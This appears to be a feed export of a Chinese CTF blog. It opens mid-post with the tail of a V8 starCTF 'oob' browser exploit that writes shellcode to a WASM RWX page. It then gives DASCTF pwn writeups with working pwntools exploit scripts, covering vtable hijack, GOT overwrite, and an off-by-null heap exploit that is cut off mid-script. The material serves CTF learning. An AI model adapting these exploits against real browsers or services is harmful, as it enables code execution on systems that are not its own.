class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token keyword">var</span> f_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'f_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>f_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> shared_info_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>f_addr <span class="token operator">+</span> <span class="token number">0x18n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_exported_func_data_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>shared_info_addr <span class="token operator">+</span> <span class="token number">0x8n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasm_instance_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_exported_func_data_addr <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0x1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> rwx_page_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>wasm_instance_addr <span class="token operator">+</span> <span class="token number">0x88n</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'rwx_page_addr = 0x'</span> <span class="token operator">+</span> <span class="token function">hex</span><span class="token punctuation">(</span>rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token keyword">var</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">.</span>length <span class="token operator">*</span> <span class="token number">8</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> buf_backing_store_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span> <span class="token operator">+</span> <span class="token number">0x20n</span><span class="token punctuation">;</span><span class="token function">write64</span><span class="token punctuation">(</span>buf_backing_store_addr<span class="token punctuation">,</span> rwx_page_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span>i <span class="token operator">*</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>chrome 打开记得关闭沙箱，因为沙箱的安全机制，让程序无法执行一些系统调用，本题的考点也没有绕过沙箱，只需要在无沙箱情况下成功 pwn 即可：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">./chrome --no-sandbox<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>成功执行 shellcode 弹出计算器<br><img src="/images/3b546c3b/pasted-36.png" alt="pwn2"></p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://migraine-sudo.github.io/2020/02/15/v8/">https://migraine-sudo.github.io/2020/02/15/v8/</a></li><li><a href="https://skylerlee.github.io/codelet/2017/03/08/build-v8/">https://skylerlee.github.io/codelet/2017/03/08/build-v8/</a></li><li><a href="https://www.freebuf.com/vuls/203721.html">https://www.freebuf.com/vuls/203721.html</a></li><li><a href="https://www.sunxiaokong.xyz/2020-01-13/lzx-starctf-oob/">https://www.sunxiaokong.xyz/2020-01-13/lzx-starctf-oob/</a></li><li><a href="https://github.com/DayJun/Blogs/tree/master/Articles/starCTF-OOB">https://github.com/DayJun/Blogs/tree/master/Articles/starCTF-OOB</a></li><li><a href="https://zhuanlan.zhihu.com/p/82854566">https://zhuanlan.zhihu.com/p/82854566</a></li><li><a href="https://zhuanlan.zhihu.com/p/43992828">https://zhuanlan.zhihu.com/p/43992828</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;pwn v8 入门学习，以及 starctf-oob 题目的复现过程&lt;/p&gt;
    
    </summary>
    
    
      <category term="v8" scheme="http://www.xi4oyu.top/categories/v8/"/>
    
    
      <category term="v8" scheme="http://www.xi4oyu.top/tags/v8/"/>
    
      <category term="ctf" scheme="http://www.xi4oyu.top/tags/ctf/"/>
    
      <category term="pwn" scheme="http://www.xi4oyu.top/tags/pwn/"/>
    
  </entry>
  
  <entry>
    <title>DASCTF6月赛部分writeup</title>
    <link href="http://www.xi4oyu.top/ff79dc8d/"/>
    <id>http://www.xi4oyu.top/ff79dc8d/</id>
    <published>2020-06-27T03:18:00.000Z</published>
    <updated>2020-06-27T03:18:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>DASCTF6月赛pwn的writeup</p><span id="more"></span><h2 id="secret"><a href="#secret" class="headerlink" title="secret"></a>secret</h2><p>给了个printf的地址，关闭了stdout，可以改写任意地址上的指针低两字节，再通过这个指针写0x18字节</p><p><img src="/images/ff79dc8d/1.png" alt="upload successful"></p><p>然后还关闭了stderr,stdin</p><p>很容易就想到拿_IO_FILE开刀，但是对这个也不是很熟悉，于是卡了很久</p><p>就先看看远程的libc是什么版本，根据printf的地址，查到多个，最后确定了是libc2.29</p><p>libc2.29貌似不能修改vtable的内容，而且对vtable指针有要求(具体要求不太清楚)，但是vtable指针附近偏差不大的地方都没什么问题，而且可写</p><p>那么就修改__IO_2_1_stderr的vtable指针的低两字节（只要和原来的位置偏差不大，而且可写就行，需要爆破)，然后往新的指针指向的地址写3个qword，第三个刚好就是io_finish的位置，填上one_gadget即可</p><p>getshell后记得<code>exec 1&gt;&amp;2</code>恢复输出</p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token triple-quoted-string string">'''脚本使用的库为welpwn(github可搜)'''</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./secret'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'183.129.189.60'</span><span class="token punctuation">,</span> <span class="token number">10030</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>remote_libc <span class="token operator">=</span> <span class="token string">'./libc.so'</span> <span class="token comment"># libc-2.29</span>ctx<span class="token punctuation">.</span>debug_remote_libc  <span class="token operator">=</span> <span class="token boolean">True</span><span class="token comment">#rs()</span>rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span>ru<span class="token punctuation">(</span><span class="token string">'secret:'</span><span class="token punctuation">)</span>printf <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>ru<span class="token punctuation">(</span><span class="token string">'\n'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'printf'</span><span class="token punctuation">,</span> printf<span class="token punctuation">)</span>lbase <span class="token operator">=</span> printf <span class="token operator">-</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'printf'</span><span class="token punctuation">]</span>leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span>_IO_2_1_stderr_ <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'_IO_2_1_stderr_'</span><span class="token punctuation">]</span>vtable <span class="token operator">=</span> _IO_2_1_stderr_ <span class="token operator">+</span> <span class="token number">0xd8</span>leak<span class="token punctuation">(</span><span class="token string">'_IO_2_1_stderr_'</span><span class="token punctuation">,</span> _IO_2_1_stderr_<span class="token punctuation">)</span>leak<span class="token punctuation">(</span><span class="token string">'vtable'</span><span class="token punctuation">,</span> vtable<span class="token punctuation">)</span>one1 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0xe237f</span>one2 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0xe2383</span>one3 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0xe2386</span>one4 <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x106ef8</span><span class="token comment">#dbg()</span><span class="token comment">#dbg('b *%s' % hex(one3))</span><span class="token comment">#raw_input()</span>s<span class="token punctuation">(</span>p64<span class="token punctuation">(</span>vtable<span class="token punctuation">)</span><span class="token punctuation">)</span>s<span class="token punctuation">(</span><span class="token string">'\xf0\x70'</span><span class="token punctuation">)</span> <span class="token comment"># 修改vtable地址低两字节 </span>s<span class="token punctuation">(</span>p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>  <span class="token operator">+</span> p64<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>one3<span class="token punctuation">)</span><span class="token punctuation">)</span>irt<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="Memory-Monster-IV"><a href="#Memory-Monster-IV" class="headerlink" title="Memory_Monster_IV"></a>Memory_Monster_IV</h2><p>根据Dockerfile得知环境使用ubuntu19，libc是2.30</p><p>漏洞是负数溢出改got表</p><p>write和一个one_gadget非常相近，只差两个字节</p><p>但每次只能写一个字节，要保证写了一个字节后，程序不会异常，可以调整one_gadget的低字节往前看看，是否有使得write的最低字节修改后有ret指令之类的</p><p>leak的话就利用给的execve，libc地址随机化最低的12位是固定为0的，利用这点，程序的随机数异或没啥用</p><p>整个过程中，stdout莫名其妙的被关闭了(可能和write有关)，getshell后执行<code>exec 1&gt;&amp;2</code>恢复输出</p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span><span class="token keyword">from</span> time <span class="token keyword">import</span> sleep      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'gnome-terminal'</span><span class="token punctuation">,</span> <span class="token string">'-x'</span><span class="token punctuation">,</span> <span class="token string">'sh'</span><span class="token punctuation">,</span> <span class="token string">'-c'</span><span class="token punctuation">]</span>context<span class="token punctuation">.</span>log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token comment"># functions for quick script</span>s       <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment">#in case that data is an int</span>sa      <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sl      <span class="token operator">=</span> <span class="token keyword">lambda</span> data               <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> sla     <span class="token operator">=</span> <span class="token keyword">lambda</span> delim<span class="token punctuation">,</span>data         <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>delim<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token builtin">str</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> r       <span class="token operator">=</span> <span class="token keyword">lambda</span> numb<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recv<span class="token punctuation">(</span>numb<span class="token punctuation">,</span> timeout<span class="token operator">=</span>timeout<span class="token punctuation">)</span>ru      <span class="token operator">=</span> <span class="token keyword">lambda</span> delims<span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span>  <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span>delims<span class="token punctuation">,</span> drop<span class="token punctuation">)</span>irt     <span class="token operator">=</span> <span class="token keyword">lambda</span>                    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span>rs      <span class="token operator">=</span> <span class="token keyword">lambda</span> <span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>start<span class="token punctuation">(</span><span class="token operator">*</span>args<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span>dbg     <span class="token operator">=</span> <span class="token keyword">lambda</span> gs<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">,</span> <span class="token operator">**</span>kwargs    <span class="token punctuation">:</span>ctx<span class="token punctuation">.</span>debug<span class="token punctuation">(</span>gdbscript<span class="token operator">=</span>gs<span class="token punctuation">,</span> <span class="token operator">**</span>kwargs<span class="token punctuation">)</span><span class="token comment"># misc functions</span>uu32    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u32<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>uu64    <span class="token operator">=</span> <span class="token keyword">lambda</span> data   <span class="token punctuation">:</span>u64<span class="token punctuation">(</span>data<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>leak    <span class="token operator">=</span> <span class="token keyword">lambda</span> name<span class="token punctuation">,</span>addr <span class="token punctuation">:</span>log<span class="token punctuation">.</span>success<span class="token punctuation">(</span><span class="token string">'&#123;&#125; = &#123;:#x&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span> addr<span class="token punctuation">)</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>binary <span class="token operator">=</span> <span class="token string">'./Memory_Monster_IV'</span>ctx<span class="token punctuation">.</span>remote <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token string">'183.129.189.60'</span><span class="token punctuation">,</span> <span class="token number">10033</span><span class="token punctuation">)</span>ctx<span class="token punctuation">.</span>custom_lib_dir <span class="token operator">=</span> <span class="token string">'./lib'</span>ctx<span class="token punctuation">.</span>debug_remote_libc <span class="token operator">=</span> <span class="token boolean">True</span><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        <span class="token comment">#rs()</span>        rs<span class="token punctuation">(</span><span class="token string">'remote'</span><span class="token punctuation">)</span>        <span class="token comment"># print(ctx.libc.path)</span>        <span class="token keyword">def</span> <span class="token function">write_byte</span><span class="token punctuation">(</span>idx<span class="token punctuation">,</span> byte<span class="token punctuation">)</span><span class="token punctuation">:</span>            sl<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>idx<span class="token punctuation">)</span><span class="token punctuation">)</span>            sl<span class="token punctuation">(</span><span class="token builtin">hex</span><span class="token punctuation">(</span>byte<span class="token punctuation">)</span><span class="token punctuation">)</span>        execve_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>ru<span class="token punctuation">(</span><span class="token string">'in'</span><span class="token punctuation">,</span> drop<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token operator">-</span><span class="token number">8</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>         execve_addr <span class="token operator">=</span> execve_addr <span class="token operator">&amp;</span> <span class="token punctuation">(</span><span class="token operator">~</span><span class="token number">0xfff</span><span class="token punctuation">)</span>        execve_addr <span class="token operator">=</span> execve_addr <span class="token operator">|</span> <span class="token punctuation">(</span>ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'execve'</span><span class="token punctuation">]</span> <span class="token operator">&amp;</span> <span class="token number">0xfff</span><span class="token punctuation">)</span>        leak<span class="token punctuation">(</span><span class="token string">'execve'</span><span class="token punctuation">,</span> execve_addr<span class="token punctuation">)</span>        lbase <span class="token operator">=</span> execve_addr <span class="token operator">-</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'execve'</span><span class="token punctuation">]</span>        one <span class="token operator">=</span> lbase <span class="token operator">+</span> <span class="token number">0x10afa4</span>  <span class="token comment"># one_gadget=0x10afa9</span>        write <span class="token operator">=</span> lbase <span class="token operator">+</span> ctx<span class="token punctuation">.</span>libc<span class="token punctuation">.</span>sym<span class="token punctuation">[</span><span class="token string">'write'</span><span class="token punctuation">]</span>        leak<span class="token punctuation">(</span><span class="token string">'lbase'</span><span class="token punctuation">,</span> lbase<span class="token punctuation">)</span>        leak<span class="token punctuation">(</span><span class="token string">'one'</span><span class="token punctuation">,</span> one<span class="token punctuation">)</span>        leak<span class="token punctuation">(</span><span class="token string">'write'</span><span class="token punctuation">,</span> write<span class="token punctuation">)</span>        arr_addr <span class="token operator">=</span> <span class="token number">0x5DE0</span>        write_got <span class="token operator">=</span> <span class="token number">0x4018</span>        write_byte<span class="token punctuation">(</span>write_got<span class="token operator">-</span>arr_addr<span class="token punctuation">,</span> one <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span>        write_byte<span class="token punctuation">(</span>write_got<span class="token operator">-</span>arr_addr<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">(</span>one <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xff</span><span class="token punctuation">)</span>                sleep<span class="token punctuation">(</span><span class="token number">0.5</span><span class="token punctuation">)</span>        sl<span class="token punctuation">(</span><span class="token string">'exec 1>&amp;2'</span><span class="token punctuation">)</span>        sleep<span class="token punctuation">(</span><span class="token number">0.5</span><span class="token punctuation">)</span>        sl<span class="token punctuation">(</span><span class="token string">'ls flag'</span><span class="token punctuation">)</span>        ru<span class="token punctuation">(</span><span class="token string">'flag'</span><span class="token punctuation">)</span>                irt<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">break</span>    <span class="token keyword">except</span> KeyboardInterrupt<span class="token punctuation">:</span>        <span class="token keyword">break</span>    <span class="token keyword">except</span><span class="token punctuation">:</span>        <span class="token keyword">continue</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="easyheap"><a href="#easyheap" class="headerlink" title="easyheap"></a>easyheap</h2><p>add处有个off-by-null<br><img src="/images/ff79dc8d/2.png" alt="upload successful"></p><p>大体思路是：</p><ol><li>off-by-null达到chunk overlap，之后leak出libc和heap的地址</li><li>同样操作，获得一个指向被free进unsorted bin里的指针,修改这个unsorted bin chunk的bk域，unsorted bin attack 到__free_hook-16的位置</li><li>之后就可以fastbin attack修改__free_hook成setcontext+53</li><li>然后就是mprotect，shellcode，orw一把梭</li></ol><p>open调用号被禁用了，用openat替代</p><p>测试发现远程环境是2.27，add功能使用的是calloc，不会从tcache分配，要先把tcache填满</p><p>exp:</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#coding=utf8</span><span class="token keyword">from</span> PwnContext <span class="token keyword">import</span> <span class="token operator">*</span>      context<span class="token punctuation">.</span>terminal <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token 